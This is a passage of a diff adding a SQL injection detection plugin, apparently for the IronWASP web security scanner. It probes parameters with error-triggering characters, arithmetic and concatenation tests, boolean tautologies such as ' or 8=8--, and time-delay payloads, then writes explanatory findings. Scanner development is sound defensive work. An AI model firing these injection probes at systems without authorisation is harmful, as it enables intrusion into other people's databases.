- ") + err_base_res = self.Scnr.Inject("123") + self.Scnr.ResponseTrace(" ==> Code {0} | Length {0}".format(err_base_res.Code, err_base_res.BodyLength)) + + payloads = ["'", "\"", "\xBF'\"(", "(", ")"] + final_error_score = 0 + for payload in payloads: + self.Scnr.RequestTrace(" Injected {0} - ".format(payload)) + if payload == "\xBF'\"(": + inj_res = self.Scnr.RawInject(payload) + else: + inj_res = self.Scnr.Inject(payload) + score = self.AnalyseInjectionResultForError(payload, inj_res, err_base_res) + if score > final_error_score: + final_error_score = score + self.ErrorTriggerCount = len(self.RequestTriggers) + return final_error_score + + def AnalyseInjectionResultForError(self, payload, payload_response, err_base_res): + res = payload_response + + triggers = [] + all_error_matches = {} + + error_score = 0 + for i in range(len(self.error_regex)): + error_re = self.error_regex[i] + error_re_raw = self.error_regex_raw[i] + matches = error_re.findall(res.BodyString) + if len(matches) > 0: + original_error_matches = error_re.findall(self.base_response.BodyString) + base_error_matches = error_re.findall(err_base_res.BodyString) + all_error_matches[error_re_raw] = [len(matches),len(original_error_matches), len(base_error_matches)] + triggers.extend(matches) + + self.ErrorCount[0] = self.ErrorCount[0] + len(matches) + self.ErrorCount[1] = self.ErrorCount[1] + len(original_error_matches) + self.ErrorCount[2] = self.ErrorCount[2] + len(base_error_matches) + + if len(all_error_matches) > 0: + self.Errors.extend(triggers) + for error_key,(inj_matches,base_matches,base_err_matches) in all_error_matches.items(): + self.Scnr.ResponseTrace(" >Got {0} occurance[s] of error signature. Normal Response had {1} occurance[s]>. Error Baseline Response had {2} occurance[s]>.>Error Signature:> {3}".format(inj_matches, base_matches, base_err_matches, error_key)) + if self.ErrorCount[0] == self.ErrorCount[1] == self.ErrorCount[2]: + error_score = 4 + else: + error_score = 7 + else: + self.Scnr.ResponseTrace(" No errors") + + if error_score > 0: + self.RequestTriggers.append(payload) + self.RequestTriggerDescs.append("The payload in this request is meant to trigger database error messages. The payload is {0}.".format(payload)) + self.ResponseTriggers.append("\r\n".join(triggers)) + self.ResponseTriggerDescs.append("This response contains database error messages.") + self.TriggerRequests.append(self.Scnr.InjectedRequest.GetClone()) + self.TriggerResponses.append(res) + self.TriggerCount = self.TriggerCount + 1 + + reason = self.GetErrorReason(payload, triggers, self.TriggerCount) + self.reasons.append(reason) + + return error_score + + def CheckForBlindSQLi(self): + self.Scnr.Trace(">>Checking for Blind Injection:>") + is_int = False + int_value = 0 + str_value = "" + str_value = self.Scnr.PreInjectionParameterValue.replace("'","").replace('"',"") + try: + int_value = int(self.Scnr.PreInjectionParameterValue) + is_int = True + except: + pass + blind_int_math_score = 0 + blind_str_conc_score = 0 + blind_bool_score = 0 + blind_time_score = 0 + + if is_int: + blind_int_math_score = self.InjectBlindIntMath(int_value) + else: + blind_int_math_score = self.InjectBlindIntMath(0) + + if len(str_value) > 1: + blind_str_conc_score = self.InjectBlindStrConc(str_value) + + blind_bool_score = self.InjectBlindBool() + + blind_time_score = self.CheckBlindTime() + + if blind_int_math_score + blind_str_conc_score + blind_bool_score + blind_time_score > 0: + return 6 + else: + return 0 + + def InjectBlindIntMath(self, int_value): + self.Scnr.Trace(">>Checking for Blind Injection with Integer Math:>") + + val = int_value + + #Addition Algo + #if val < 2 then val = 3 + #(val - 1) + 1 + #(val - 2) + 2 + # + #(val) + 5 + #(val - 1) + 6 + # + #(val) + "a" + #(val) + "b" + # + if val < 2: + val = 3#adjust the value to be suitable for addition based check + plus_left = [ val-1, val-2, val, val-1, val, val] + plus_right = [ 1, 2, 5, 6, "a", "b"] + + #Subtraction Algo + #(val + 1) - 1 + #(val + 2) - 2 + # + #if val < 6 then val = 11 + # + #(val) - 5 + #(val + 1) - 6 + # + #(val) - "a" + #(val) - "b" + # + val = int_value + if val < 6: + sub_val = 11#adjust the value to be suitable for subtraction based check + else: + sub_val = val + minus_left = [ val+1, val+2, sub_val, sub_val+1, val, val] + minus_right = [ 1, 2, 5, 6, "a", "b"] + symbols = [ "+", "-"] + keys = [ "a", "aa", "b", "bb", "c", "cc"] + + for ii in range(2): + sym = symbols[ii] + left = [] + right = [] + if sym == "+": + self.Scnr.Trace("> >Checking Addition:>") + left.extend(plus_left) + right.extend(plus_right) + else: + self.Scnr.Trace("> >Checking Subtraction:>") + left.extend(minus_left) + right.extend(minus_right) + + #variables to keep track for rechecking + first_strict_signature = "" + first_relaxed_signature = "" + second_strict_signature = "" + second_relaxed_signature = "" + confidence = 0 + vuln = False + first_strict_vuln = False + first_relaxed_vuln = False + + for j in range(2): + if j == 1 and not (first_strict_vuln or first_relaxed_vuln): + break + payloads = [] + requests = [] + responses = [] + sc = SimilarityChecker() + self.Scnr.Trace(">") + for i in range(6): + payload = "{0}{1}{2}".format(left[i], sym, right[i]) + self.Scnr.RequestTrace(" Request Key: '{0}' - Injecting {1} ".format(keys[i], payload)) + res = self.Scnr.Inject(payload) + #store the request and responses to be added to the vulnerability data if SQLi is found + payloads.append(payload) + requests.append(self.Scnr.InjectedRequest.GetClone()) + responses.append(res) + sc.Add(keys[i], res) + self.Scnr.ResponseTrace(" ==> Code-{0} Length-{1}".format(res.Code, res.BodyLength)) + sc.Check() + + self.Scnr.Trace("> The responses are analyzed for similarity based grouping to determine if injection succeeded.") + self.Scnr.Trace(" Analysis Results:") + self.Scnr.Trace(" Strict Groups Signature: {0}".format(sc.StrictGroupsSignature)) + self.Scnr.Trace(" Relaxed Groups Signature: {0}".format(sc.RelaxedGroupsSignature)) + + if j == 0: + first_strict_signature = sc.StrictGroupsSignature + first_relaxed_signature = sc.RelaxedGroupsSignature + + if self.IsBlindMathInjectableGroupingCheck(sc.StrictGroups): + self.Scnr.Trace(" >Strict Grouping indicates that injection succeeded. Rechecking to confirm.>") + if j == 0: + first_strict_vuln = True + else: + self.Scnr.Trace(" Strict Grouping does not indicates that injection succeeded.") + + if self.IsBlindMathInjectableGroupingCheck(sc.RelaxedGroups): + self.Scnr.Trace(" >Relaxed Grouping indicates that injection succeeded. Rechecking to confirm.>") + if j == 0: + first_relaxed_vuln = True + else: + self.Scnr.Trace(" Relaxed Grouping does not indicates that injection succeeded.") + else: + second_strict_signature = sc.StrictGroupsSignature + second_relaxed_signature = sc.RelaxedGroupsSignature + vuln = False + + if first_strict_vuln and first_strict_signature == second_strict_signature: + vuln = True + confidence = confidence + 1 + self.Scnr.Trace(" >Even the second time Strict Grouping indicates that injection succeeded.>") + else: + self.Scnr.Trace(" Strict Grouping does not indicate that injection succeeded.") + + if first_relaxed_vuln and first_relaxed_signature == second_relaxed_signature: + vuln = True + confidence = confidence + 1 + self.Scnr.Trace(" >Even the second time Relaxed Grouping indicates that injection succeeded.>") + else: + self.Scnr.Trace(" Relaxed Grouping does not indicate that injection succeeded.") + + if vuln: + self.RequestTriggers.extend(payloads) + self.TriggerRequests.extend(requests) + self.TriggerResponses.extend(responses) + + for i in range(len(payloads)): + self.ResponseTriggers.append("") + self.ResponseTriggerDescs.append("Refer to the 'Reasons' section of this vulnerabilty's description to understand how to interpret this response.") + if i < 4: + if sym == "+": + self.RequestTriggerDescs.append("The payload in this request tries to add the numbers {0} and {1}.".format(plus_left[i], plus_right[i])) + else: + self.RequestTriggerDescs.append("The payload in this request tries to subtract the number {0} from {1}.".format(minus_left[i], minus_right[i])) + else: + if sym == "+": + self.RequestTriggerDescs.append("The payload in this request is an invalid attempt to add the number {0} with string {1}.".format(plus_left[i], plus_right[i])) + else: + self.RequestTriggerDescs.append("The payload in this request is an invalid attempt to subtract the number {0} from the string {1}.".format(minus_left[i], minus_right[i])) + + self.TriggerCount = self.TriggerCount + 6 + + self.second_group = [] + for item in ["A", "B", "C", "D", "E", "F"]: + if self.first_group.count(item) == 0: + self.second_group.append(item) + + if sym == "+": + reason = self.GetBlindMathAddReason(payloads, plus_left[0] + plus_right[0], plus_left[2] + plus_right[2], self.first_group, self.second_group, self.TriggerCount) + else: + reason = self.GetBlindMathSubtractReason(payloads, minus_left[0] - minus_right[0], minus_left[2] - minus_right[2], self.first_group, self.second_group, self.TriggerCount) + self.reasons.append(reason) + + return confidence + return 0 + + def IsBlindMathInjectableGroupingCheck(self, groups): + self.first_group = [] + self.second_group = [] + + vuln = False + for group in groups: + if group.Count == 2 or group.Count == 4: + m = 0 + if group.HasKey("a") and group.HasKey("aa"): + m = m + 1 + if len(self.first_group) == 0: + self.first_group.append("A") + self.first_group.append("B") + else: + self.second_group.append("A") + self.second_group.append("B") + if group.HasKey("b") and group.HasKey("bb"): + m = m + 1 + if len(self.first_group) == 0: + self.first_group.append("C") + self.first_group.append("D") + else: + self.second_group.append("C") + self.second_group.append("D") + if group.HasKey("c") and group.HasKey("cc"): + m = m + 1 + if len(self.first_group) == 0: + self.first_group.append("E") + self.first_group.append("F") + else: + self.second_group.append("E") + self.second_group.append("F") + if (group.Count == 2 and m == 1) or (group.Count == 4 and m == 2): + #indicates SQL Injection report it + vuln = True + else: + vuln = False + break + return vuln + + def InjectBlindStrConc(self, str_value): + BlindConcInjectionScore = 0 + self.Scnr.Trace(">>Checking for Blind Injection with String Concatenation:>") + blind_str_conc_res = [] + if len(str_value) < 2: + str_value = "aaa" + str_value_first_part = str_value[:1] + str_value_second_part = str_value[1:] + + quotes = ["'", '"'] + joiners = [ '||', "+", " "] + keys = [ "Oracle", "MS SQL", "MySQL"] + requests = [] + responses = [] + + for quote in quotes: + if quote == "'": + self.Scnr.Trace("> >Checking with Single Quotes:>") + else: + self.Scnr.Trace("> >Checking with Double Quotes:>") + + #variables to keep track of rechecking + first_strict_signature = "" + first_relaxed_signature = "" + second_strict_signature = "" + second_relaxed_signature = "" + confidence = 0 + vuln = False + first_strict_vuln = False + first_relaxed_vuln = False + + for j in range(2): + if j == 1 and not (first_strict_vuln or first_relaxed_vuln): + break + payloads = [] + requests = [] + responses = [] + sc = SimilarityChecker() + self.Scnr.Trace(">") + for i in range(3): + payload = "{0}{1}{2}{3}{4}".format(str_value_first_part, quote, joiners[i], quote, str_value_second_part) + self.Scnr.RequestTrace(" Request Key: '{0}' - Injecting {1}".format(keys[i], payload)) + res = self.Scnr.Inject(payload) + payloads.append(payload) + requests.append(self.Scnr.InjectedRequest.GetClone()) + responses.append(res) + sc.Add(keys[i], res) + self.Scnr.ResponseTrace(" ==> Code-{0} Length-{1}".format(res.Code, res.BodyLength)) + + sc.Check() + + self.Scnr.Trace("> The responses are analyzed for similarity based grouping to determine if injection succeeded.") + self.Scnr.Trace(" Analysis Results:") + self.Scnr.Trace(" Strict Groups Signature: {0}".format(sc.StrictGroupsSignature)) + self.Scnr.Trace(" Relaxed Groups Signature: {0}".format(sc.RelaxedGroupsSignature)) + if j == 0: + first_strict_signature = sc.StrictGroupsSignature + first_relaxed_signature = sc.RelaxedGroupsSignature + + if self.IsBlindStrConcInjectableGroupingCheck(sc.StrictGroups): + self.Scnr.Trace(" >Strict Grouping indicates that injection succeeded. Rechecking to confirm.>") + if j == 0: + first_strict_vuln = True + else: + self.Scnr.Trace(" Strict Grouping does not indicates that injection succeeded.") + + if self.IsBlindStrConcInjectableGroupingCheck(sc.RelaxedGroups): + self.Scnr.Trace(" >Relaxed Grouping indicates that injection succeeded. Rechecking to confirm.>") + if j == 0: + first_relaxed_vuln = True + else: + self.Scnr.Trace(" Relaxed Grouping does not indicates that injection succeeded.") + else: + second_strict_signature = sc.StrictGroupsSignature + second_relaxed_signature = sc.RelaxedGroupsSignature + vuln = False + db = "" + + if first_strict_vuln and first_strict_signature == second_strict_signature: + vuln = True + confidence = confidence + 1 + self.Scnr.Trace(" >Even the second time Strict Grouping indicates that injection succeeded.>") + for g in sc.StrictGroups: + if g.Count == 1: + db = g.GetKeys()[0] + else: + self.Scnr.Trace(" Strict Grouping does not indicate that injection succeeded.") + + if first_relaxed_vuln and first_relaxed_signature == second_relaxed_signature: + vuln = True + confidence = confidence + 1 + self.Scnr.Trace(" >Even the second time Relaxed Grouping indicates that injection succeeded.>") + for g in sc.RelaxedGroups: + if g.Count == 1: + db = g.GetKeys()[0] + else: + self.Scnr.Trace(" Relaxed Grouping does not indicate that injection succeeded.") + + if vuln: + self.RequestTriggers.extend(payloads) + self.TriggerRequests.extend(requests) + self.TriggerResponses.extend(responses) + non_db = [] + non_db.extend(keys) + non_db.remove(db) + for i in range(len(payloads)): + self.ResponseTriggers.append("") + self.RequestTriggerDescs.append("The payload in this request tries to concatenate two strings as per {0} database's syntax. The payload is {1}".format(keys[i], payloads[i])) + if keys[i] == db: + self.ResponseTriggerDescs.append("This response is different from the responses recieved for the payloads that used {0} and {1} databases' concatenation syntax.".format(non_db[0], non_db[1])) + else: + non_db.remove(keys[i]) + self.ResponseTriggerDescs.append("This response is different from the response recieved for the payloads that used {0} database's concatenation syntax but similar to the response for the payload that used {1} database's concatenation syntax".format(db, non_db[0])) + non_db.append(keys[i]) + + self.TriggerCount = self.TriggerCount + 3 + + reason = self.GetBlindConcatReason(payloads, db, self.TriggerCount) + self.reasons.append(reason) + + return confidence + return 0 + + def IsBlindStrConcInjectableGroupingCheck(self, groups): + vuln = False + if len(groups) == 2: + vuln = True + return vuln + + def InjectBlindBool(self): + score = 0 + + self.Scnr.Trace(">>Checking for Blind Injection with Boolean check:>") + + prefix = self.Scnr.PreInjectionParameterValue + + int_trailers = [ "8=8--", "7=5--", "7=7--", "5=8--"] + char_trailers = [ "s=s", "s=r", "t=t", "t=r"] + keys = [ "true-a", "false-a", "true-b", "false-b"] + quotes = [ "'", '"'] + + self.Scnr.Trace("> >Checking with OR Operator:>") + clean_prefix = prefix.replace("'","").replace('"',"") + or_prefix = clean_prefix + "xxx"#this is to change the prefix to an invalid value to help with OR + for quote in quotes: + score = score + self.CheckForBlindBoolWith(or_prefix, quote, "or", int_trailers) + score = score + self.CheckForBlindBoolWith(or_prefix, quote, "or", char_trailers) + + #do one check with a number as prefix without any quotes + if clean_prefix == "21": + or_prefix = "22" + else: + or_prefix = "21" + score = score + self.CheckForBlindBoolWith(or_prefix, "", "or", int_trailers) + + self.Scnr.Trace("> >Checking with AND Operator:>") + for quote in quotes: + and_prefix = prefix.replace(quote, "") + score = score + self.CheckForBlindBoolWith(and_prefix, quote, "and", int_trailers) + score = score + self.CheckForBlindBoolWith(and_prefix, quote, "and", char_trailers) + + return score + + def CheckForBlindBoolWith(self, prefix, quote, operator, trailers): + keys = [ "true-a", "false-a", "true-b", "false-b"] + + #variables to keep track of rechecking + first_strict_signature = "" + first_relaxed_signature = "" + second_strict_signature = "" + second_relaxed_signature = "" + confidence = 0 + vuln = False + first_strict_vuln = False + first_relaxed_vuln = False + + for j in range(2): + if j == 1 and not (first_strict_vuln or first_relaxed_vuln): + break + payloads = [] + requests = [] + responses = [] + conditions = [] + sc = SimilarityChecker() + self.Scnr.Trace(">") + for i in range(len(trailers)): + payload = "{0}{1} {2} {3}".format(prefix, quote, operator, trailers[i].replace("", quote)) + self.Scnr.RequestTrace(" Request Key: '{0}' - Injecting {1}".format(keys[i], payload)) + res = self.Scnr.Inject(payload) + payloads.append(payload) + conditions.append(trailers[i].replace("", quote)) + requests.append(self.Scnr.InjectedRequest.GetClone()) + responses.append(res) + sc.Add(keys[i], res) + self.Scnr.ResponseTrace(" ==> Code-{0} Length-{1}".format(res.Code, res.BodyLength)) + + sc.Check() + + self.Scnr.Trace("> The responses are analyzed for similarity based grouping to determine if injection succeeded.") + self.Scnr.Trace(" Analysis Results:") + self.Scnr.Trace(" Strict Groups Signature: {0}".format(sc.StrictGroupsSignature)) + self.Scnr.Trace(" Relaxed Groups Signature: {0}".format(sc.RelaxedGroupsSignature)) + + if j == 0: + first_strict_signature = sc.StrictGroupsSignature + first_relaxed_signature = sc.RelaxedGroupsSignature + + if self.IsBlindBoolInjectableGroupingCheck(sc.StrictGroups): + self.Scnr.Trace(" >Strict Grouping indicates that injection succeeded. Rechecking to confirm.>") + if j == 0: + first_strict_vuln = True + else: + self.Scnr.Trace(" Strict Grouping does not indicates that injection succeeded.") + + if self.IsBlindBoolInjectableGroupingCheck(sc.RelaxedGroups): + self.Scnr.Trace(" >Relaxed Grouping indicates that injection succeeded. Rechecking to confirm.>") + if j == 0: + first_relaxed_vuln = True + else: + self.Scnr.Trace(" Relaxed Grouping does not indicates that injection succeeded.") + else: + second_strict_signature = sc.StrictGroupsSignature + second_relaxed_signature = sc.RelaxedGroupsSignature + vuln = False + + if first_strict_vuln and first_strict_signature == second_strict_signature: + vuln = True + confidence = confidence + 1 + self.Scnr.Trace(" >Even the second time Strict Grouping indicates that injection succeeded.>") + else: + self.Scnr.Trace(" Strict Grouping does not indicate that injection succeeded.") + + if first_relaxed_vuln and first_relaxed_signature == second_relaxed_signature: + vuln = True + confidence = confidence + 1 + self.Scnr.Trace(" >Even the second time Relaxed Grouping indicates that injection succeeded.>") + else: + self.Scnr.Trace(" Relaxed Grouping does not indicate that injection succeeded.") + + if vuln: + self.RequestTriggers.extend(payloads) + self.TriggerRequests.extend(requests) + self.TriggerResponses.extend(responses) + for i in range(len(payloads)): + self.ResponseTriggers.append("") + if i == 0 or i == 2: + self.RequestTriggerDescs.append("The payload in this request contains the conditional operator '{0}' followed by the SQL condition {1} which evaluates to true. The payload is {2}".format(operator, conditions[i], payloads[i])) + else: + self.RequestTriggerDescs.append("The payload in this request contains the conditional operator '{0}' followed by the SQL condition {1} which evaluates to false. The payload is {2}".format(operator, conditions[i], payloads[i])) + self.ResponseTriggerDescs.append("This response is the result of the first boolean true condition based payload. This response is equal to the response of the second boolean true condition payload and different from the responses of the boolean false condition payloads.") + self.ResponseTriggerDescs.append("This response is the result of the first boolean false condition based payload. This response is equal to the response of the second boolean false condition payload and different from the responses of the boolean true condition payloads.") + self.ResponseTriggerDescs.append("This response is the result of the second boolean true condition based payload. This response is equal to the response of the first boolean true condition payload and different from the responses of the boolean false condition payloads.") + self.ResponseTriggerDescs.append("This response is the result of the second boolean false condition based payload. This response is equal to the response of the first boolean false condition payload and different from the responses of the boolean true condition payloads.") + self.TriggerCount = self.TriggerCount + 4 + reason = self.GetBlindBoolReason(payloads, operator, self.TriggerCount) + self.reasons.append(reason) + return confidence + return 0 + + def IsBlindBoolInjectableGroupingCheck(self, groups): + match = 0 + if len(groups) == 2: + for group in groups: + if group.Count == 2: + match = 0 + if group.HasKey("true-a") and group.HasKey("true-b"): + match = 1 + elif group.HasKey("false-a") and group.HasKey("false-b"): + match = 1 + + if match > 0: + return True + else: + return False + + def CheckBlindTime(self): + score = 0 + self.Scnr.Trace(">>Checking for Time based Injection:>") + self.Scnr.Trace("> Sending three requests to get a baseline of the response time for time based check:") + min_delay = -1 + max_delay = 0 + time = 10000 + base_line_delays = [] + avg_time = 0 + for i in range(3): + res = self.Scnr.Inject() + avg_time = avg_time + res.RoundTrip + base_line_delays.append(" {0}) Response time is - {1} ms".format(i+1, res.RoundTrip)) + if res.RoundTrip > max_delay: + max_delay = res.RoundTrip + if res.RoundTrip < min_delay or min_delay == -1: + min_delay = res.RoundTrip + self.Scnr.Trace(">".join(base_line_delays)) + avg_time = avg_time/3 + + if min_delay > 5000: + time = ((max_delay + min_delay) / 1000) + 1 + else: + time = ((max_delay + 5000) / 1000) + 1 + + self.Scnr.Trace("> Response Times: Minimum - {0}ms. Maximum - {1}ms.".format(min_delay, max_delay)) + self.Scnr.Trace("> >Testing with delay time of {0}ms.>".format(time * 1000)) + for inj_str in self.time_check: + payload = inj_str.replace("__TIME__", str(time)) + score = score + self.InjectAndCheckBlindDelay(payload, time, avg_time) + + return score + + def InjectAndCheckBlindDelay(self, payload, time, avg_time): + for i in range(2): + self.Scnr.RequestTrace(" Injecting {0}".format(payload)) + res = self.Scnr.Inject(payload) + res_trace = " ==> Code-{0} Length-{1} Time-{2}ms.".format(res.Code, res.BodyLength, res.RoundTrip) + if i == 0: + if res.RoundTrip >= (time * 1000): + self.Scnr.ResponseTrace("{0} >Delay Observed! Rechecking the result with the same Injection string>".format(res_trace)) + else: + self.Scnr.ResponseTrace("{0} No Time Delay.".format(res_trace)) + break + elif i == 1: + if res.RoundTrip >= (time * 1000): + self.Scnr.ResponseTrace("{0} >>Delay Observed Again! Indicates Presence of SQL Injection>".format(res_trace)) + + self.RequestTriggers.append(payload) + self.RequestTriggerDescs.append("The payload in this request contains a SQL query snippet which if executed will cause a delay of {0} milliseconds. The payload is {1}".format(time * 1000, payload)) + self.TriggerRequests.append(self.Scnr.InjectedRequest.GetClone()) + + self.ResponseTriggers.append("") + self.ResponseTriggerDescs.append("It took {0} milliseconds to get this response. It took so long because of the {1} milliseconds delay caused by the payload.".format(res.RoundTrip, time * 1000)) + self.TriggerResponses.append(res) + + self.TriggerCount = self.TriggerCount + 1 + reason = self.GetBlindTimeReason(payload, time * 1000, res.RoundTrip, avg_time, self.TriggerCount) + self.reasons.append(reason) + #self.ReportSQLInjection() + return 1 + else: + self.Scnr.ResponseTrace("{0} >Time Delay did not occur again!>".format(res_trace)) + + return 0 + + def ReportSQLInjection(self, Confidence): + self.Scnr.SetTraceTitle("SQLi Found", 100) + PR = Finding(self.Scnr.InjectedRequest.BaseUrl) + PR.Title = "SQL Injection Detected" + PR.Summary = "SQL Injection has been detected in the '{0}' parameter of the {1} section of the request.>>{2}".format(self.Scnr.InjectedParameter, self.Scnr.InjectedSection, self.GetSummary()) + for reason in self.reasons: + PR.AddReason(reason) + + for i in range(len(self.RequestTriggers)): + PR.Triggers.Add(self.RequestTriggers[i], self.RequestTriggerDescs[i], self.TriggerRequests[i], self.ResponseTriggers[i], self.ResponseTriggerDescs[i], self.TriggerResponses[i]) + PR.Type = FindingType.Vulnerability + PR.Severity = FindingSeverity.High + PR.Confidence = Confidence + self.Scnr.AddFinding(PR) + + def ReportSQLError(self, Errors): + self.Scnr.SetTraceTitle("SQL Error Messages Found", 100) + PR = Finding(self.Scnr.InjectedRequest.BaseUrl) + PR.Title = "SQL Error Messages Found" + Summary = "SQL Error Messages have been found in the response when testing the '{0}' parameter of the {1} section of the request. All checks performed to returned negative results so the reason why these error messages appear cannot be determined.>".format(self.Scnr.InjectedParameter, self.Scnr.InjectedSection) + Summary = Summary + "The error messages are:>" + for Error in Errors: + Summary = Summary + ">{0}>>".format(Error) + PR.Summary = Summary + if len(self.RequestTriggers) > 0: + PR.Triggers.Add("", "", self.TriggerRequests[0], "\r\n".join(Errors), "The response contained {0} SQL error messages".format(len(Errors)), self.TriggerResponses[0]) + PR.Type = FindingType.Vulnerability + PR.Severity = FindingSeverity.Medium + PR.Confidence = FindingConfidence.High + self.Scnr.AddFinding(PR) + + def SetUp(self): + err_regex_file = open(Config.Path + "\\plugins\\active\\sql_error_regex.txt") + err_regex_file.readline()#Ignore the first line containing comments + error_strings = err_regex_file.readlines() + err_regex_file.close() + for err_str in error_strings: + err_str = err_str.strip() + if len(err_str) > 0: + self.error_regex_raw.append(err_str) + self.error_regex.append(re.compile(err_str, re.I)) + time_check_file = open(Config.Path + "\\plugins\\active\\sql_time_check.txt") + time_check_file.readline()#Ignore the first line containing comments + time_check_temp = time_check_file.readlines() + time_check_file.close() + for tct in time_check_temp: + tct = tct.strip() + if len(tct) > 0: + self.time_check.append(tct) + + def GetSummary(self): + Summary = "SQL Injection is an issue where it is possible execute SQL queries on the database being used on the server-side. For more details on this issue refer >https://www.owasp.org/index.php/SQL_Injection>>>" + return Summary + + def GetErrorReason(self, payload, errors, Trigger): + payload = Tools.EncodeForTrace(payload) + + #Reason = "IronWASP sent 'abcd as payload to the application and the response that came back had the error message Incorrect SQL syntax. " + Reason = "IronWASP sent >{0}> as payload to the application and the response that came back ".format(payload) + + if len(errors) == 1: + Reason = Reason + "had the error message >{0}>. ".format(errors[0]) + else: + Reason = Reason + "had the error messages " + for i in range(len(errors)): + if i == (len(errors) - 1): + Reason = Reason + " and " + elif i > 0: + Reason = Reason + " , " + Reason = Reason + ">{0}>".format(errors[i]) + Reason = Reason + "." + + Reason = Reason + "This error message is usually associated with SQL query related errors and it appears that the payload was able to break out of the data context and cause this error. " + Reason = Reason + "This is an indication of SQL Injection." + + ReasonType = "Error" + + #False Positive Check + FalsePositiveCheck = "Manually analyze the response received for the payload and confirm if the error message actually is because of some SQL related exception on the server-side. Try sending the same request without the payload and check if the error goes away." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, Trigger, FalsePositiveCheck) + return FR + + def GetBlindMathAddReason(self, payloads, first_sum, second_sum, first_group, second_group, Trigger): + Reason = "IronWASP sent six payload to the application with SQL code snippets in them.>" + + ids = ["A", "B", "C", "D", "E", "F"] + + #Payload A - 4+1 + #Payload B - 3+2 + #Payload C - 4+5 + #Payload D - 3+6 + #Payload E - 4+a + #Payload F - 4+b + + for i in range(len(ids)): + payloads[i] = Tools.EncodeForTrace(payloads[i]) + Reason = Reason + "Payload {0} - >{1}>>".format(ids[i], payloads[i]) + + #Reason = Reason + "Payload A and B is the addition of two numbers whose sum 5. " + Reason = Reason + "Payload A and B is the addition of two numbers whose sum would be >{0}>. ".format(first_sum) + #Reason = Reason + "Payload C and D is also the addition of two numbers whose sum would be 9. " + Reason = Reason + "Payload C and D is also the addition of two numbers whose sum would be >{0}>. ".format(second_sum) + Reason = Reason + "Payload E and F are invalid addition attempts as a number is being added to a string.>" + + if len(first_group) == 2: + Reason = Reason + "The response for Payload A and B is similar to each other and is different from Payloads C, D, E and F. " + Reason = Reason + "This indicates that the application actually performed the addition of the two numbers in the Payload A and B. " + Reason = Reason + "Since they add up to the same value their responses are similar. Payloads C and D add up to different values. " + Reason = Reason + "Payload E and F are invalid addition attempts. If the application was not actually performing addition then all six payload should have returned very similar responses. " + else: + Reason = Reason + "The response for Payload A, B, C and D are similar to each other and is different from Payloads E and F. " + Reason = Reason + "This indicates that the application actually performed the addition of the two numbers in the Payload A, B, C and D. " + Reason = Reason + "Since in all four cases the addition is a valid SQL syntax their responses are similar. " + Reason = Reason + "Payload E and F are invalid addition attempts so their responses are different. If the application was not actually performing addition then all six payloads should have returned very similar responses. " + Reason = Reason + "Therefore this indicates that SQL syntax from the payload is executed as part of the SQL query on the server." + + ReasonType = "MathAdd" + + #False Positive Check + FalsePositiveCheck = "Manually analyze the responses received for the six payloads and confirm if the type of similarity explained above actually exists in them. Try resending the same payloads again but with different numbers and check if this behaviour is repeated." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, [Trigger-5, Trigger-4, Trigger-3, Trigger-2, Trigger-1, Trigger], FalsePositiveCheck) + return FR + + def GetBlindMathSubtractReason(self, payloads, first_diff, second_diff, first_group, second_group, Trigger): + Reason = "IronWASP sent six payload to the application with SQL code snippets in them.>" + + ids = ["A", "B", "C", "D", "E", "F"] + + #Payload A - 4-1 + #Payload B - 5-2 + #Payload C - 7-5 + #Payload D - 8-6 + #Payload E - 4-a + #Payload F - 4-b + + + for i in range(len(ids)): + payloads[i] = Tools.EncodeForTrace(payloads[i]) + Reason = Reason + "Payload {0} - >{1}>>".format(ids[i], payloads[i]) + + #Reason = Reason + "Payload A and B is the subtraction of two numbers whose difference is 3. " + Reason = Reason + "Payload A and B is the subtraction of two numbers whose difference is >{0}>. ".format(first_diff) + #Reason = Reason + "Payload C and D is also the subtraction of two numbers whose difference would be 2. " + Reason = Reason + "Payload C and D is also the subtraction of two numbers whose difference would be >{0}>. ".format(second_diff) + Reason = Reason + "Payload E and F are invalid subtraction attempts as a string is being deducted from a number.>" + + if len(first_group) == 2: + Reason = Reason + "The response for Payload A and B is similar to each other and is different from Payloads C, D, E and F. " + Reason = Reason + "This indicates that the application actually performed the subtraction of the two numbers in the Payload A and B. " + Reason = Reason + "Since their differnce is the same their responses are similar. Payloads C and D have a different difference values. " + Reason = Reason + "Payload E and F are invalid subtraction attempts. If the application was not actually performing subtraction then all six payload should have returned very similar responses. " + else: + Reason = Reason + "The response for Payload A, B, C and D are similar to each other and is different from Payloads E and F. " + Reason = Reason + "This indicates that the application actually performed the subtraction of the two numbers in the Payload A, B, C and D. " + Reason = Reason + "Since in all four cases the substration is a valid SQL syntax their responses are similar. " + Reason = Reason + "Payload E and F are invalid subtraction attempts so their responses are different. If the application was not actually performing subtraction then all six payloads should have returned very similar responses. " + Reason = Reason + "Therefore this indicates that SQL syntax from the payload is executed as part of the SQL query on the server." + + ReasonType = "MathSubtract" + + #False Positive Check + FalsePositiveCheck = "Manually analyze the responses received for the six payloads and confirm if the type of similarity explained above actually exists in them. Try resending the same payloads again but with different numbers and check if this behaviour is repeated." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, [Trigger-5, Trigger-4, Trigger-3, Trigger-2, Trigger-1, Trigger], FalsePositiveCheck) + return FR + + def GetBlindConcatReason(self, payloads, db, Trigger): + Reason = "IronWASP sent three payloads to the application with SQL code snippets in them.>" + + ids = ["A", "B", "C"] + + #Payload A - a'||'b + #Payload B - a'+'b + #Payload C - a' 'b + + for i in range(len(ids)): + payloads[i] = Tools.EncodeForTrace(payloads[i]) + Reason = Reason + "Payload {0} - >{1}>>".format(ids[i], payloads[i]) + + Reason = Reason + "Payload A is trying to concatenate two strings as per the SQL syntax of Oracle database servers. " + Reason = Reason + "Payload B is trying to concatenate the same two strings as per SQL syntax of MS SQL database servers. " + Reason = Reason + "Payload C is trying to concatenate the same two strings as per the SQL syntax of MySQL database servers.>" + + same = [] + diff = "" + + #keys = [ "Oracle", "MS SQL", "MySQL"] + + if db == "Oracle": + diff = "A" + same = ["B", "C"] + elif db == "MS 